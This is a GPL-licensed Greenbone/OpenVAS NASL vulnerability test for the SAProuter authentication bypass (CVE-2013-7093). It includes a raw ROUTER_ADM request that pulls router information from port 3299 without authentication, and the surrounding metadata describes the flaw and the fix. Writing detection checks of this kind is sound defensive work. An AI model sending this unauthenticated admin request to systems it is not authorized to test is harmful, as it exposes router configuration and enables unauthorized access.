SAProuter Remote Authentication Bypass Vulnerability

# Copyright (C) 2014 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:sap:network_interface_router";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105035");
  script_version("2022-04-14T11:24:11+0000");
  script_cve_id("CVE-2013-7093");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2022-04-14 11:24:11 +0000 (Thu, 14 Apr 2022)");
  script_tag(name:"creation_date", value:"2014-05-27 15:35:11 +0200 (Tue, 27 May 2014)");
  script_name("SAProuter Remote Authentication Bypass Vulnerability");
  script_category(ACT_ATTACK);
  script_family("General");
  script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");
  script_dependencies("gb_sap_router_detect.nasl");
  script_require_ports("Services/SAProuter", 3299);
  script_mandatory_keys("SAProuter/installed");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/64230");
  script_xref(name:"URL", value:"https://erpscan.io/advisories/erpscan-13-023-saprouter-authentication-bypass/");
  script_xref(name:"URL", value:"https://launchpad.support.sap.com/#/notes/1853140");

  script_tag(name:"summary", value:"SAProuter is prone to an authentication-bypass vulnerability.");

  script_tag(name:"vuldetect", value:"Sends an information request and checks the response.");

  script_tag(name:"insight", value:"An attacker can reconfigure SAProuter remotely without
  authentication because authorization check is missing. It can lead to various threats, from
  information disclosure to full system compromise.");

  script_tag(name:"impact", value:"Remote attackers can exploit this issue to bypass the authentication
  mechanism and gain unauthorized access.");

  script_tag(name:"affected", value:"SAP Network Interface Router (SAProuter) 39.3 SP4.");

  script_tag(name:"solution", value:"Updates are available. Please see the references or vendor advisory
  for more information.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("byte_func.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! get_app_location( port:port, cpe:CPE, nofork:TRUE ) )
  exit( 0 );

if( ! soc = open_sock_tcp( port ) )
  exit( 0 );

req = raw_string( 0x00, 0x00, 0x00, 0x0f, 'ROUTER_ADM\0', 39, 0x02, 0x00, 0x00 );

send( socket:soc, data:req );

while( TRUE ) {

  buf = recv( socket:soc, min:4, length:4 );
  if( ! buf || strlen( buf ) != 4 ) {
    close( soc );
    exit( 0 );
  }

  len = getdword( blob:buf );

  if( ! len || int( len ) < 1 )
    break;

  buf = recv( socket:soc, length:len );

  if( ! buf || "NI_RTERR" >< buf || strlen( buf ) != len ) {
    close( soc );
    exit( 99 );
  }

  if( buf =~ "[:^cntrl:]+" )
    report += substr( buf, 0, strlen( buf ) - 2 ) + '\n';
}

close( soc );

if( report ) {
  report = 'The following information could be gathered by the scanner:\n' + report;
  security_message( port:port, data: report );
  exit( 0 );
}

exit( 99 );